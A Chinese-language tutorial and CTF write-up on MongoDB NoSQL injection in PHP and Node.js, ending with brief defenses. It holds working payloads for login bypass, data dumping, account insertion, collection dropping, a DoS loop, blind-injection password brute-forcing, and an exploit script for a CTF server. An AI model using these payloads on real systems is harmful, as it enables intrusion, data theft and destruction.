0x01 NoSQL与MongoDB基本概念
NoSQL
NoSQL,指的是非关系型的数据库。NoSQL有时也称作Not Only SQL的缩写,是对不同于传统的关系型数据库的数据库管理系统的统称。
NoSQL用于超大规模数据的存储。(例如谷歌或Facebook每天为他们的用户收集万亿比特的数据)。这些类型的数据存储不需要固定的模式,无需多余操作就可以横向扩展。
NoSQL 数据库分类
类型 |
部分代表 |
特点 |
列存储 |
HbaseCassandraHypertable |
顾名思义,是按列存储数据的。最大的特点是方便存储结构化和半结构化数据,方便做数据压缩,对针对某一列或者某几列的查询有非常大的IO优势。 |
文档存储 |
MongoDBCouchDB |
文档存储一般用类似json的格式存储,存储的内容是文档型的。这样也就有机会对某些字段建立索引,实现关系数据库的某些功能。 |
key-value存储 |
Tokyo Cabinet / TyrantBerkeley DBMemcacheDBRedis |
可以通过key快速查询到其value。一般来说,存储不管value的格式,照单全收。(Redis包含了其他功能) |
图存储 |
Neo4JFlockDB |
图形关系的最佳存储。使用传统关系数据库来解决的话性能低下,而且设计使用不方便。 |
对象存储 |
db4oVersant |
通过类似面向对象语言的语法操作数据库,通过对象的方式存取数据。 |
xml数据库 |
Berkeley DB XMLBaseX |
高效的存储XML数据,并支持XML的内部查询语法,比如XQuery,Xpath。 |
MongoDB
MongoDB属于NoSQL数据库的一种,是由C++语言编写的一个基于分布式文件存储的开源数据库系统,旨在为Web应用提供可扩展的高性能数据存储解决方案。在高负载的情况下,添加更多的节点,可以保证服务器性能。
MongoDB 将数据存储为一个文档,数据结构由键值(key=>value)对组成。MongoDB 文档类似于 JSON 对象。字段值可以包含其他文档,数组及文档数组。
MongoDB概念解析
和关系型数据库的相关概念不一样,在MongoDB中基本的概念是文档、集合、数据库,如下表:
SQL术语/概念 |
MongoDB术语/概念 |
解释/说明 |
database |
database |
数据库 |
table |
collection |
数据库表/集合 |
row |
document |
数据记录行/文档 |
column |
field |
数据字段/域 |
index |
index |
索引 |
table joins |
|
表连接,MongoDB不支持 |
primary key |
primary key |
主键,MongoDB自动将_id字段设置为主键 |
0x02 PHP操作MongoDB
PHP下操作MongoDB大致分为两种方式,对应有不同的注入攻击方式。
使用MongoDB类中相应的方法
使用的Demo大致如下,此时传递进入的参数是一个数组:
1 2 3 4 5 6 7 8 9
| <?php $mongo = new MongoClient(); $db = $mongo->myinfo; $coll = $db->test; $coll->save(); $coll->find(); $coll->remove(); $coll->update(); ?>
|
下面我们一个个执行一遍。
确保连接及选择一个数据库
为了确保正确连接,你需要指定数据库名,如果数据库在MongoDB中不存在,MongoDB会自动创建。
示例代码如下,访问页面会直接返回数据库名test:
1 2 3 4 5
| <?php $m = new MongoClient(); $db = $m->test; echo $db; ?>
|
创建集合
创建集合的代码片段如下:
1 2 3 4 5 6
| <?php $m = new MongoClient(); $db = $m->test; $collection = $db->createCollection("Mi1k"); echo "集合创建成功:".$collection; ?>
|
在数据库中确认确实创建成功:
插入文档
在MongoDB中使用insert()方法插入文档,代码片段如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <?php $m = new MongoClient(); $db = $m->test; $collection = $db->Mi1k; $document = array( "title" => "Hello", "description" => "Just a test.", "likes" => 100, "url" => "https://www.mi1k7ea.com/", "by", "mi1k7ea" ); $collection->insert($document); echo "数据插入成功"; ?>
|
插入成功后,到数据库中确认,这里pretty()方法以格式化的方式来显示所有文档。:
查找文档
使用find()方法来读取集合中的文档,代码片段如下:
1 2 3 4 5 6 7 8 9 10 11
| <?php $m = new MongoClient(); $db = $m->test; $collection = $db->Mi1k;
$cursor = $collection->find();
foreach ($cursor as $document) { echo $document["title"] . "\n"; } ?>
|
访问即可看到查询的标题:
更新文档
使用update()方法来更新文档,代码片段如下,将标题内容从Hello改为World:
1 2 3 4 5 6 7 8 9 10 11 12 13
| <?php $m = new MongoClient(); $db = $m->test; $collection = $db->Mi1k;
$collection->update(array("title"=>"Hello"), array('$set'=>array("title"=>"World")));
$cursor = $collection->find();
foreach ($cursor as $document) { echo $document["title"] . "\n"; } ?>
|
修改后显示改后的标题内容,客户端确认是修改了:
删除文档
使用remove()方法来删除文档。
代码片段如下,将移除’title’为’World’的一条数据记录:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <?php $m = new MongoClient(); $db = $m->test; $collection = $db->Mi1k;
$collection->remove(array("title"=>"World"), array("justOne" => true));
$cursor = $collection->find(); foreach ($cursor as $document) { echo $document["title"] . "\n"; } ?>
|
访问之后,即删除了title为World的文档,在数据库中查不到Mi1k集合的文档内容了。
使用execute()函数执行字符串
使用的Demo大致如下,此时传进方法execute()的参数就是字符串变量$query(特别的,此时的字符串书写语法为JS的书写语法):
1 2 3 4 5 6 7 8 9
| <?php $mongo = new mongoclient(); $db = $mongo->myinfo; $query = "db.table.save({'newsid':1})"; $query = "db.table.find({'newsid':1})"; $query = "db.table.remove({'newsid':1})"; $query = "db.table.update({'newsid':1},{'newsid',2})"; 改 $result = $db->execute($query); ?>
|
0x03 NoSQL注入
NoSQL注入分类
网上主要有两种分类方式,第一种是按照语言的分类:PHP数组注入、JavaScript注入、MongoDB shell拼接注入等等;第二种是按照攻击机制分类:重言式注入、联合查询注入、JavaScript注入等等,这种分类方式很像SQL注入的分类方式。
我们详细讨论下第二种分类方式:
重言式注入
又称为永真式,此类攻击是在条件语句中注入代码,使生成的表达式判定结果永远为真,从而绕过认证或访问机制。
联合查询注入
联合查询是一种众所周知的SQL注入技术,攻击者利用一个脆弱的参数去改变给定查询返回的数据集。联合查询最常用的用法是绕过认证页面获取数据。
JavaScript注入
这是一种新的漏洞,由允许执行数据内容中JavaScript的NoSQL数据库引入的。JavaScript使在数据引擎进行复杂事务和查询成为可能。传递不干净的用户输入到这些查询中可以注入任意JavaScript代码,这会导致非法的数据获取或篡改。
0x04 PHP MongoDB注入攻击
不同编程语言环境下的MongoDB注入情景没啥差别,这里主要对PHP中实现的MongoDB进行详细分析,理解原理和场景就OK,其他语言就大致给Demo就好。
在此之前,我们需要先初始化数据库、赋给一些用户数据用于后面的Demo使用,这里随机添加10个用户,最后一个test用户为公共用户、大家都知道的:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| <?php $m = new MongoClient(); $db = $m->test; $collection = $db->test; $ori = '0123456789abcdefghijklmnopqrstuvwsyz'; for ($i=0; $i < 10; $i++) { $str = ''; for ($j=0; $j < 10; $j++) { $str .= $ori[rand(0, strlen($ori)-1)]; } $data = array( 'userid'=>$i, 'username'=>'user'.$i, 'password'=>$str ); $collection->insert($data); } echo '添加成功<br>'; $data = array( 'userid'=>10, 'username'=>'test', 'password'=>'test' ); $collection->insert($data); echo '用户test添加成功'; ?>
|
访问触发一遍即可创建成功:
PHP数组注入/重言式注入
一个数组绑定的查询代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| <?php $mongo = new MongoClient(); $db = $mongo->test; $coll = $db->test; $username = $_GET['username']; $password = $_GET['password']; $data = array( 'username'=>$username, 'password'=>$password ); $data = $coll->find($data); $count = $data->count(); if ($count>0) { foreach ($data as $user) { echo 'username:'.$user['username']."</br>"; echo 'password:'.$user['password']."</br>"; } } else{ echo '未找到'; } ?>
|
当我们用公共用户test输入时,显示出username和password:
分析一下,这里我输入的是?username=test&password=test
,然后进入到MongoDB中的语句其实为db.test.find({username:'test',password:'test'});
。
若此时我们以PHP数组的形式输入?username[a]=test&password=test
,源码中$data的值便为:
1 2 3 4
| $data = array( 'username'=>array('a'=>'test'), 'password'=>'test' );
|
最后实际MongoDB执行的语句为db.test.find({username:{a:'test'},password:'test'});
。
因此,我们就可以利用这个特性往数组的键名传递一个操作符(大于,小于,等于,不等于等等),从而达到利用的目的:
?username[$ne]=1&password[$ne]=1
$ne即not equal不等于,转换到MongoDB语句即为:
db.test.find({username:{'$ne':'1'},password:{'$ne':'1'}});
而该语句相当于:
select * from test where username!='1' and password!='1';
直接爆出了所有数据库用户信息:
execute()执行拼接字符串导致的注入/联合查询注入
代码如下,为了方便查看注入的语句,我这里添加了输出查询语句:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| <?php $username = $_GET['username']; $password = $_GET['password']; $query = "var data = db.test.findOne({username:'$username',password:'$password'});return data;"; echo $query.'<br>'; $mongo = new MongoClient(); $db = $mongo->test; $data = $db->execute($query); if ($data['ok'] == 1) { if ($data['retval']!=NULL) { echo 'username:'.$data['retval']['username']."</br>"; echo 'password:'.$data['retval']['password']."</br>"; }else{ echo '未找到'; } }else{ echo $data['errmsg']; } ?>
|
可以看到,是直接拼接起来的字符串然后传入execute()函数中执行。
正常访问:
添加个单引号试试,发现会报错:
此时可以利用注释或闭合的方法针对性地实现注入就可以了。
利用注释
按照输出的提示语句以及报错信息逐个尝试,目的是成功注释掉后面的password部分语句并返回成功,当输入如下payload时成功返回:
?username=test'});return true;})//&password=test
这里返回username和password两项,按照MongoDB数据的Json格式,我们可以让其返回Json键值对看看:
没问题,剩下的就是各种payload尝试了。
爆数据库版本:
?username=test'});return {username:db.version(),password:1};})//&password=test
爆当前数据库所有集合,这里因为db.getCollectionNames()返回的是数组、需要用tojson()转换为字符串,另外MongoDB函数区分大小写:
?username=test'});return {username:tojson(db.getCollectionNames()),password:1};})//&password=test
爆其他集合第一条数据,我这里本地新建user集合并插入文档,若想继续遍历爆其他信息只需修改数组下标即可:
?username=test'});return {username:tojson(db.user.find()[0]),password:1};})//&password=test
往user集合插入新用户数据:
?username=test'});return {username:db.user.insert({'username':'mi1k7ea','password':'mi1k7ea'}),password:1};})//&password=test
利用闭合
构造如下payload,用于闭合后面的语句使语法正确:
?username=test'});return {username:db.version(),password:1};var b=({a:'1&password=test
剩下的其他利用和前面的一样,这里只说个重点的,在无回显的情况下,我们就需要用到盲注技巧,这里用到的盲注是基于时间的盲注,在高版本下MongoDB添加了sleep()函数,我们利用这个sleep()函数和闭合的技巧来实现基于时间的盲注(这种盲注技巧仅在闭合的情况下可行,本人在注释的情况下并未成功):
?username=test'});if (db.version()>"0"){sleep(10000);exit;}var b=({a:'1&password=test
若数据库版本大于0,则sleep 10s:
JavaScript注入/$where注入
$where
先看下\$where的概念,使用\$where运算符可以将包含JavaScript表达式的字符串或完整的JavaScript函数传递给MongoDB来执行,用法如下,筛选出user集合中用户admin的信息:
db.user.find({$where:function(){return (hex_md5(this.username)=="21232f297a57a5a743894a0e4a801fc3")}})
这里环境用的是Github的一个项目:https://github.com/youngyangyang04/NoSQLInjectionAttackDemo
本次Demo用的是login_1.php,并对其进行了修改,为了方便我也输出了拼接的语句:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| <?php $stime=microtime(true); $m = new MongoClient(); $db = $m->test; $collection = $db->user; $query_body ="function q() { var username = '".$_REQUEST["username"]."'; var password = '".$_REQUEST["password"]."';if(username == 'admin'&&password == 'password') return true; else{ return false;}}"; echo $query_body; $result = $collection->find(array('$where'=>$query_body)); $count = $result->count(); $cursor = $collection->find($result); $doc_failed = new DOMDocument(); $doc_failed->loadHTMLFile("failed.html"); $doc_succeed = new DOMDocument(); $doc_succeed->loadHTMLFile("succeed.html"); if($count>0){ echo $doc_succeed->saveHTML(); foreach ($cursor as $user){ echo 'username:'.$user['username']."</br>"; echo 'password:'.$user['password']."</br>"; } } else{ echo $doc_failed->saveHTML(); } $etime=microtime(true); $total=$etime-$stime; $str_total = var_export($total, TRUE); if(substr_count($str_total,"E")){ $float_total = floatval(substr($str_total,5)); $total = $float_total/100000; echo $total.'seconds'; } else echo $total.'seconds'; ?>
|
我们先访问demo_1.html,是个登录界面:
随便输入用户密码登陆,显示错误(这里方便看输入构造处理的语句就没有注释掉输出):
绕过登录验证
针对注入内容所在语句的位置构造返回true的逻辑,即可绕过登录验证:
?username=test&password=a';return true;var c='
DoS
除此之外,还能进行DoS攻击,使目标服务器CPU短暂飙升:
?username=test&password=a';(function(){var date=new Date();do{curDate=new Date();}while(curDate-date<5000);return Math.max();})();var c='
可看到程序跑了25s才停止,若当时看目标服务器CPU会发现飙升:
盲注
基于时间的盲注
基于时间的盲注,是使用sleep()函数结合闭合语句的方式实现的,看前面联合查询注入中的示例就知道了,这里不再多说:
?username=test'});if (db.version()>"0"){sleep(10000);exit;}var b=({a:'1&password=test
有个注意点:这种盲注技巧仅在闭合的情况下可行,用注释符注释后面的语句的情况是行不通的。
基于布尔的盲注
基于布尔的盲注,主要是根据字符正确和错误返回不同,利用$regex操作符逐个正则匹配抓取字符,直至将整个字符串匹配出来。
下面看个例子理解一下。
这里我们还是用的这个Github项目:https://github.com/youngyangyang04/NoSQLInjectionAttackDemo
对login.php进行如下修改:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| <?php $m = new MongoClient(); $db = $m->test; $collection = $db->user; $dbUsername = null; $dbPassword = null; $data = array( 'username' => $_REQUEST['username'], 'password' => $_REQUEST['password'] ); $cursor = $collection->find($data); $string = json_encode($data); $count = $cursor->count(); $doc_failed = new DOMDocument(); $doc_failed->loadHTMLFile("failed.html"); $doc_succeed = new DOMDocument(); $doc_succeed->loadHTMLFile("succeed.html"); if($count >0 ){ echo $doc_succeed->saveHTML(); foreach ($cursor as $user){ echo 'Welcome! '.$user['username']."</br>"; } } else{ echo $doc_failed->saveHTML(); } ?>
|
访问界面:
随便输入用户账号密码登录之后,显示登录错误:
我们可以$ne来进行重言式注入来绕过登录认证逻辑,可以看到成功登录:
?username[$ne]=test&password[$ne]=test
虽然前面成功绕过登录校验,显示了所有用户名,但如果我们想知道管理员用户admin的密码具体为多少时,此时就需要使用$regex匹配盲注来获取:
?username=admin&password[$regex]=^I
写个脚本跑一下就出来了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| <?php $ch = curl_init(); curl_setopt($ch,CURLOPT_URL,'http://127.0.0.1/NoSQLInjectionAttackDemo/login/login.php'); curl_setopt($ch,CURLOPT_RETURNTRANSFER,1); curl_setopt($ch,CURLOPT_POST,1); $ori = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'; $str = ''; for ($i = 0; $i <10 ; $i++) { for ($j = 0; $j < strlen($ori); $j++) { $post = 'username=admin&password[$regex]=^'.$str.$ori[$j]; curl_setopt($ch,CURLOPT_POSTFIELDS,$post); $data = curl_exec($ch); if (strlen($data) == 297) { $str .= $ori[$j]; echo $str."<br>"; break; } } } ?>
|
MongoDB Shell注入
MongoDB Shell注入,主要是使用execute()/executeCommand()方法执行拼接的MongoDB命令语句导致的。
execute()方法正和前面联合查询注入一样,这里说下executeCommand()方法的情景,因为这是MongoDB新版本的写法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <?php $manager = new MongoDB\Driver\Manager('mongodb://mongo:27017'); $username = $_GET['username']; $cmd = new MongoDB\Driver\Command([ 'eval'=> "db.users.distinct('username',{'username':'$username'})" ]); $cursor = $manager->executeCommand('test', $cmd)->toArray(); var_dump($cursor); if(count($cursor)>0){ echo 'Succeed!'; } else{ echo 'Failed!'; } ?>
|
在数据库中建立users集合,初始化一条用户数据如下:
1 2 3 4 5 6
| > db.users.find().pretty() { "_id" : ObjectId("5d56b8469cea49dc4479cd6b"), "username" : "admin", "password" : "123456" }
|
正常访问:
Shell注入插入文档
往users集合插入攻击者用户:
?username=1'});db.users.insert({"username":"mi1k7ea","password":"hacker"});db.users.find({'username':'2
到后台连接MongoDB查看,确实插入数据了:
1 2 3 4 5 6 7 8 9 10 11
| > db.users.find().pretty() { "_id" : ObjectId("5d56b8469cea49dc4479cd6b"), "username" : "admin", "password" : "123456" } { "_id" : ObjectId("5d56bb6812a5a3b11fddcc3e"), "username" : "mi1k7ea", "password" : "hacker" }
|
Shell注入删除集合
搞点破坏,删掉users集合:
?username=1'});db.users.drop();db.users.find({'username':'2
到后台连接MongoDB查看的时候已经不存在users集合了。
0x05 Node.js MongoDB注入攻击
原理都差不多,这里就简单搞下Demo看看。
这里我用的是:https://github.com/bibotai/research_of_nosql_injection/tree/master/jsdemo
除此之外,还可参考更完整的Demo:https://github.com/ricardojoserf/NoSQL-injection-example
下载下来后,输入运行Node.js:
1 2 3
| cd jsdemo npm install node index.js
|
index.js中关键JS代码如下,取请求体中Json格式的username和password键值作为从参数调用findOne()实现查询操作:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| app.post('/', function(req, res) { console.log(req.body) User.findOne({username: req.body.username, password: req.body.password}, function (err, user) { console.log(user) if (err) { return res.render('index', {message: err.message}); } if (!user) { return res.render('index', {message: 'Sorry!'}); }
return res.render('index', {message: 'Welcome back ' + user.name + '!!!'}); }); });
|
这里利用重言式注入即可绕过登录认证:
0x06 Java MongoDB注入攻击
都差不多,环境搭建可参考:
https://github.com/aaoraa/nosql-injection-sample
https://github.com/shirishp/NoSQLInjectionDemo
0x07 题目——NopeSQL
这里看下CyBRICS CTF Quals 2019的NopeSQL题目:http://173.199.118.226/index.php
打开是个提交用户名和密码的表单的界面:
先是拿sqlmap跑,发现没跑出啥名堂,结合题目名称推测应该是考察NoSQL注入知识,而NoSQL注入在CTF中一般是考察MongoDB注入攻击,除非是很简单的题目,不然一般是需要代码审计来进行构造注入的。
于是一番尝试,访问http://173.199.118.226/.git/HEAD
会下载内容,说明存在.git源码泄露:
直接上lijiejie的神器GitHack下载解析源码文件:
下面就开始代码审计。
其实就只有一个index.php文件:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87
| <?php require_once __DIR__ . "/vendor/autoload.php";
function auth($username, $password) { $collection = (new MongoDB\Client('mongodb://localhost:27017/'))->test->users; $raw_query = '{"username": "'.$username.'", "password": "'.$password.'"}'; $document = $collection->findOne(json_decode($raw_query)); if (isset($document) && isset($document->password)) { return true; } return false; }
$user = false; if (isset($_COOKIE['username']) && isset($_COOKIE['password'])) { $user = auth($_COOKIE['username'], $_COOKIE['password']); }
if (isset($_POST['username']) && isset($_POST['password'])) { $user = auth($_POST['username'], $_POST['password']); if ($user) { setcookie('username', $_POST['username']); setcookie('password', $_POST['password']); } }
?>
<?php if ($user == true): ?>
Welcome! <div> Group most common news by <a href="?filter=$category">category</a> | <a href="?filter=$public">publicity</a><br> </div>
<?php $filter = $_GET['filter'];
$collection = (new MongoDB\Client('mongodb://localhost:27017/'))->test->news;
$pipeline = [ ['$group' => ['_id' => '$category', 'count' => ['$sum' => 1]]], ['$sort' => ['count' => -1]], ['$limit' => 5], ];
$filters = [ ['$project' => ['category' => $filter]] ];
$cursor = $collection->aggregate(array_merge($filters, $pipeline)); ?>
<?php if (isset($filter)): ?>
<?php foreach ($cursor as $category) { printf("%s has %d news<br>", $category['_id'], $category['count']); } ?>
<?php endif; ?>
<?php else: ?>
<?php if (isset($_POST['username']) && isset($_POST['password'])): ?> Invalid username or password <?php endif; ?>
<form action='/' method="POST"> <input type="text" name="username"> <input type="password" name="password"> <input type="submit"> </form>
<h2>News</h2> <?php $collection = (new MongoDB\Client('mongodb://localhost:27017/'))->test->news; $cursor = $collection->find(['public' => 1]); foreach ($cursor as $news) { printf("%s<br>", $news['title']); } ?>
<?php endif; ?>
|
我们拆分来看,分为两块逻辑,第一部分的逻辑是登录,定义了auth()函数来认证登录:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| <?php require_once __DIR__ . "/vendor/autoload.php";
function auth($username, $password) { $collection = (new MongoDB\Client('mongodb://localhost:27017/'))->test->users; $raw_query = '{"username": "'.$username.'", "password": "'.$password.'"}'; $document = $collection->findOne(json_decode($raw_query)); if (isset($document) && isset($document->password)) { return true; } return false; }
$user = false; if (isset($_COOKIE['username']) && isset($_COOKIE['password'])) { $user = auth($_COOKIE['username'], $_COOKIE['password']); }
if (isset($_POST['username']) && isset($_POST['password'])) { $user = auth($_POST['username'], $_POST['password']); if ($user) { setcookie('username', $_POST['username']); setcookie('password', $_POST['password']); } }
?>
|
可以看到,以POST方式提交登录表单参数,然后直接拼接到Json格式的数组中,经过json_decode()处理后传入findOne()函数中执行查询操作,若存在则设置Cookie。
构造的关键在于json_decode(),如果没有该函数处理还可以使用PHP数组注入的方式来注入如username=admin&password[$ne]=1
来绕过,但这里由于json_decode()的存在而不行,利用点在于该函数会给变量赋最后一次赋值的值,我们可以本地试下:
1 2 3 4 5 6 7
| <?php $username = '1'; $password = '","password":{"$ne":null},"username":"admin'; $json = '{"username": "'.$username.'", "password": "'.$password.'"}'; $obj = json_decode($json); print("username is ".$obj->{"username"}); ?>
|
输出结果为:“username is admin”。
知道这个特性,我们就可以构造如下payload绕过登录认证:
username=1&password=","password":{"$ne":null},"username":"admin
当点击category链接的时候,传入filter参数值$category,显示出来包括flags文章的标题名等内容:
当点击publicity链接的时候,传入filter参数值$public:
登录认证绕过之后,再看下第二部分的代码逻辑:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| <?php $filter = $_GET['filter'];
$collection = (new MongoDB\Client('mongodb://localhost:27017/'))->test->news;
$pipeline = [ ['$group' => ['_id' => '$category', 'count' => ['$sum' => 1]]], ['$sort' => ['count' => -1]], ['$limit' => 5], ];
$filters = [ ['$project' => ['category' => $filter]] ];
$cursor = $collection->aggregate(array_merge($filters, $pipeline)); ?>
<?php if (isset($filter)): ?>
<?php foreach ($cursor as $category) { printf("%s has %d news<br>", $category['_id'], $category['count']); } ?>
<?php endif; ?>
|
接收filter参数,然后调用MongoDB聚合函数aggregate()来处理数据,其中限制了显示数为5。我们看下传入参数filter的调用过程:_id => \$category => \$filter,并在后面通过\$category[‘_id’]输出出来,其中输出语句中的\$category为集合数组中的元素。也就是说,我们输入的filter内容会输出的页面上。
下面就涉及到MongoDB的知识点了。
在使用aggregate()聚合函数时,在里面是可以使用条件判断语句的。在MongoDB中\$cond表示if判断语句,匹配的符号使用\$eq,连起来为[$cond][if][$eq]
,当使用多个判断条件时重复该语句即可。官网的例子是这样的:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| db.inventory.aggregate( [ { $project: { item: 1, category: { $cond: { if: { $gte: [ "$qty", 250 ] }, then: 30, else: 20 } } } } ] )
|
那么就可以参考着构造语句了。由前面知道当提交?filter=\$category时会出现flags字样,那么就可以在if判断条件中设置当前\$category的值是否为flags,当为flags时输出\$title内容(从源码中可看出集合含有\$title属性),否则原样输出\$category。最后整个构造结构如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| db.news.aggregate( [ { $project: { category: { $cond: { if: { $eq: [ "$category", "flags" ] }, then: $title, else: $category } } } } ] )
|
转换成PHP数组形式传入filter参数:
?filter[$cond][if][$eq][]=flags&filter[$cond][if][$eq][]=$category&filter[$cond][then]=$title&filter[$cond][else]=$category
可以看到,原本输出\$category值为flags的地方替换了为flags对应的\$title值,说是这时一个flag文本。以此推测,该集合应该还存在一个text的属性,接着直接修改\$title为\$text查看:
?filter[$cond][if][$eq][]=flags&filter[$cond][if][$eq][]=$category&filter[$cond][then]=$text&filter[$cond][else]=$category
可以看到,该集合确实存在text属性,且该值即为flag。
当然有利用脚本,原理都一样:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| import requests
s = requests.Session()
data = { 'username':'admin', 'password':'","password":{"$ne":null},"username":"admin' }
response = s.post('http://173.199.118.226/index.php', data=data)
response = s.post('http://173.199.118.226/index.php?filter[$cond][if][$eq][][$strLenBytes]=$title&filter[$cond][if][$eq][][$toInt]=19&filter[$cond][then]=$text&filter[$cond][else]=12', data=data) print(bytes(response.content).decode())
|
0x08 防御
对于外部输入拼接查询语句的内容,对特殊字符进行严格的过滤或转移,如$符;
对于JavaScript注入,$where和Command方法能不用就尽量不用;
0x09 工具
Github上有个叫NoSQLAttack工具,具体的参考:https://github.com/youngyangyang04/NoSQLAttack
0x0A 参考
Mongodb注入攻击
冷门知识 — NoSQL注入知多少
CyBRICS-CTF-Quals-2019-Web-Writeup